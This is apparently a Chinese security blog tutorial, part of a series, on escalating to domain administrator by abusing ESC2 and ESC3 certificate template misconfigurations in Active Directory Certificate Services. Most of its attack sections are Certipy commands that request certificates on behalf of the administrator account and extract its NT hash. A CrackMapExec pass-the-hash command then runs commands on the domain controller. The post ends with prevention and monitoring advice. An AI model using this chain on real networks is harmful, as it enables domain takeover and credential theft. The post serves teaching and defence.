滥用Active Directory证书服务(第四部分):ESC2与ESC3权限提升技术详解

本文详细介绍了如何利用Active Directory证书服务中的ESC2和ESC3漏洞进行权限提升,包括漏洞条件、Certipy工具使用步骤及防御检测措施,帮助理解ADCS安全风险。

滥用Active Directory证书服务(第四部分)

Active Directory证书服务(ADCS)中的错误配置可能给企业环境带来严重漏洞。本文将介绍使用Certipy利用ESC2和ESC3权限提升技术的基础知识。这些技术滥用了过于宽松的注册权限和扩展密钥用法(EKU)配置。EKU策略定义了证书的用途,例如代码签名、客户端认证等。

授权请求证书的用户可以在证书颁发机构(CA)本身和证书模板对象上定义。CA属性可通过certsrv实用程序查看(右键单击CA > 属性 > 安全)。模板权限在证书模板控制台中显示。

ESC2

易受ESC2攻击的证书模板配置了“任意用途”EKU或未配置EKU。指定“任意用途”EKU的模板允许攻击者创建具有任何用途的证书,如代码签名、客户端认证等。此类证书可用于以原始请求证书的用户身份向Active Directory进行身份验证,并可用于签署其他证书。

易受ESC2攻击的模板满足以下条件:

  • 低权限用户被授予注册权限
  • 所需签名数:0
  • 已启用:True
  • 需要管理批准:False
  • 任意用途:True 或 扩展密钥用法:False

示例

假设我们已进入目标公司FOOBAR的内部网络,并攻陷了用户bspears的账户。首先,尝试使用现有模板以域管理员身份请求证书。使用以下Certipy命令,以用户名administrator的域管理员身份,使用默认“User”模板请求证书:

1
2
3
4
5
certipy-ad req -u 'bspears' -p 'REDACTED' -dc-ip '10.10.0.10' \
-target 'dc01.foobar.com' \
-ca 'foobar-CA' \
-template 'User' \
-on-behalf-of 'example\administrator'

此请求导致错误,提示需要PFX文件。目前,我们没有可用于代表其他用户请求证书的PFX。但如果bspears可以使用配置了“任意用途”EKU的模板请求证书,我们可以使用生成的PFX代表另一个域账户请求证书。

要查找易受ESC2攻击的证书,可以使用Certipy枚举ADCS配置。通过指定-enabled-vulnerable标志,Certipy会特别打印出已启用的易受攻击模板:

1
certipy find -u 'bspears' -p REDACTED -dc-ip 10.10.0.10 -vulnerable -enabled

“ESC2_User”模板满足ESC2的所有条件。我们的受损用户账户bspears是Domain Users组的成员,因此被授权使用易受攻击的模板请求证书。使用以下命令,我们可以为bspears请求证书:

1
2
3
4
5
certipy-ad req -u 'bspears' -p 'REDACTED' \
-dc-ip '10.10.0.10' \
-target 'dc01.foobar.com' \
-ca 'foobar-CA' \
-template 'ESC2_User' -debug

Certipy结果将返回请求ID或对象SID。请注意这些信息。现在,可以使用上面请求生成的证书签署新证书。要代表域管理员请求证书,我们将使用-pfx标志并指定“bspears.pfx”文件:

1
2
3
4
5
6
certipy-ad req -u 'bspears' -p 'REDACTED' -dc-ip '10.10.0.10' \
-target 'dc01.foobar.com' \
-ca 'foobar-CA' \
-template 'User' \
-on-behalf-of 'example\administrator' \
-pfx bspears.pfx -debug

请注意返回的请求ID或对象SID。现在我们有了管理员账户的证书,可以作为域管理员进行身份验证。

总之,由于证书模板配置过于宽松,我们能够代表低权限用户获取证书,然后使用该证书代表域管理员账户请求证书。

ESC3

证书请求代理EKU可用于代表另一个域对象请求证书。易受ESC3攻击的模板配置了此EKU,并允许低权限用户注册。ESC3模板的要求如下:

  • 低权限用户被授予注册权限
  • 所需签名数:0
  • 已启用:True
  • 需要管理批准:False
  • 证书请求代理EKU

示例1

继续我们的FOOBAR场景。让我们查看Certipy输出的ESC3条件。如下图所示,“ESC3_User_1”模板满足ESC3的所有条件。我们的受损用户账户bspears是Domain Users组的成员,因此被授权使用易受攻击的模板请求证书。使用以下命令,我们可以为bspears请求证书:

1
2
3
4
5
certipy-ad req -u 'bspears' -p 'REDACTED' \
-dc-ip '10.10.0.10' \
-target 'dc01.foobar.com' \
-ca 'foobar-CA' \
-template 'ESC3_User_1' -debug

Certipy结果将再次返回请求ID或对象SID。请注意这些信息。与ESC2类似,我们现在可以使用上一步为bspears生成的证书,通过“User”模板代表另一个用户请求证书。如下所示,我们可以使用此模板代表域管理员请求证书:

1
2
3
4
5
6
certipy-ad req -u 'bspears' -p 'REDACTED' -dc-ip '10.10.0.10' \
-target 'dc01.foobar.com' \
-ca 'foobar-CA' \
-template 'User' \
-on-behalf-of 'example\administrator' \
-pfx bspears.pfx -debug

现在我们有了管理员账户的证书,可以作为域管理员进行身份验证。

示例2

我们还可以使用具有指定证书请求代理的颁发要求策略的模板请求证书。在下面的屏幕截图中,“ESC3_User_2”模板配置了授权签名要求设置为1,颁发要求策略设置为证书请求代理。

“ESC3_User_2”模板的其他关键配置如下:

  • 低权限用户被授予注册权限
  • 已启用:True
  • 客户端认证:True
  • 需要管理批准:False
  • 所需授权签名数:1
  • 应用程序策略:证书请求代理

Certipy对此模板的结果如下所示。我们将再次使用“ESC3_User_1”模板为bspears请求证书:

1
2
3
4
5
certipy-ad req -u 'bspears' -p 'REDACTED' \
-dc-ip '10.10.0.10' \
-target 'dc01.foobar.com' \
-ca 'foobar-CA' \
-template 'ESC3_User_1' -debug

请注意返回的请求ID或对象SID。然后,我们可以使用为bspears生成的证书,通过“ESC3_User_2”模板代表管理员账户请求证书:

1
2
3
4
5
6
7
certipy-ad req -u 'bspears' -p 'REDACTED' \
-dc-ip '10.10.0.10' \
-target 'dc01.foobar.com' \
-ca 'foobar-CA' \
-template 'ESC3_User_2' \
-on-behalf-of 'example\administrator' \
-pfx bspears.pfx -debug

请注意返回的请求ID或对象SID。再次,我们有了管理员账户的证书,可以作为域管理员进行身份验证。

总结

如您所见,利用ESC3的步骤与ESC2类似。每种权限提升技术都结合了过于宽松的注册权限和扩展密钥用法配置。然而,每种技术的易受攻击模板的条件略有不同。

在两个示例中,我们都能够代表低权限用户获取证书,然后使用该证书代表高权限(域管理员)账户请求证书。

证书认证

一旦我们有了证书“administrator.pfx”,就可以使用该证书获取目标管理员账户的凭据哈希和Kerberos票证,使用以下Certipy auth命令:

1
certipy auth -pfx administrator.pfx

如下图所示,我们成功检索了管理员账户的TGT和NT哈希。现在我们可以模拟管理员!为了演示这一点,我们可以使用CrackMapExec向域控制器进行身份验证,并以域管理员身份执行命令:

1
crackmapexec smb 10.10.0.10 -u administrator -H REDACTED_HASH' -x whoami

有效期

需要注意的是,证书在有效期结束前一直有效,除非证书被明确撤销。这就是为什么我们必须注意证书请求返回的请求编号/SID。

让我们看一个示例模板来演示这一点。如下图所示,模板指定了5年的有效期。如果我们使用上面的模板代表用户“DA Dan”请求证书,我们将在未来五年内拥有对DA Dan账户的访问权限,无论密码如何更改。我们还可以在到期日期之前续订证书以保持对账户的访问权限——这意味着这种技术不仅是一种方便的权限提升技术,还可以作为一种持久化手段。

预防和检测

那么,您可以采取哪些措施来预防和检测此类攻击?以下是一些步骤:

  • 确保模板权限尽可能严格。仅授予必要的组/用户注册权限。
  • 审查环境中的所有CA,并从所有不必要的组中删除“请求证书”权限(注册权限)。这将防止不必要的低权限组通过证书模板进行注册。
  • 清点您的证书模板,并确定所有已启用的模板是否当前正在使用。禁用所有不必要的模板。
  • 限制环境中允许的证书认证形式。

监控

监控用户的证书注册事件可以让您检测账户何时请求证书以及CA何时颁发证书。通过监控这些事件,管理员可以警告异常行为,并撤销看似恶意或可疑的证书。一些有用的事件ID如下:

  • 4886 – 证书请求
  • 4887 – 证书颁发
  • 4768 – Kerberos票证(TGT)请求

资源

  • SpecterOps白皮书:https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
  • SpecterOps博客文章:https://posts.specterops.io/certified-pre-owned-d95910965cd2
  • Microsoft PKI防御指南:https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn786443(v=ws.11)
  • PKIAudit:https://github.com/GhostPack/PSPKIAudit
  • PKINITtools:https://github.com/dirkjanm/PKINITtools
  • PyWhisker:https://github.com/ShutdownRepo/pywhisker
  • Certi:https://github.com/zer1t0/certi
  • Impacket:https://github.com/fortra/Impacket
  • Certipy:https://github.com/ly4k/Certipy
  • Certify:https://github.com/GhostPack/Certify

本系列更多内容

  • 滥用Active Directory证书服务(第一部分)
  • 滥用Active Directory证书服务(第二部分)
  • 滥用Active Directory证书服务(第三部分)

脚注

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计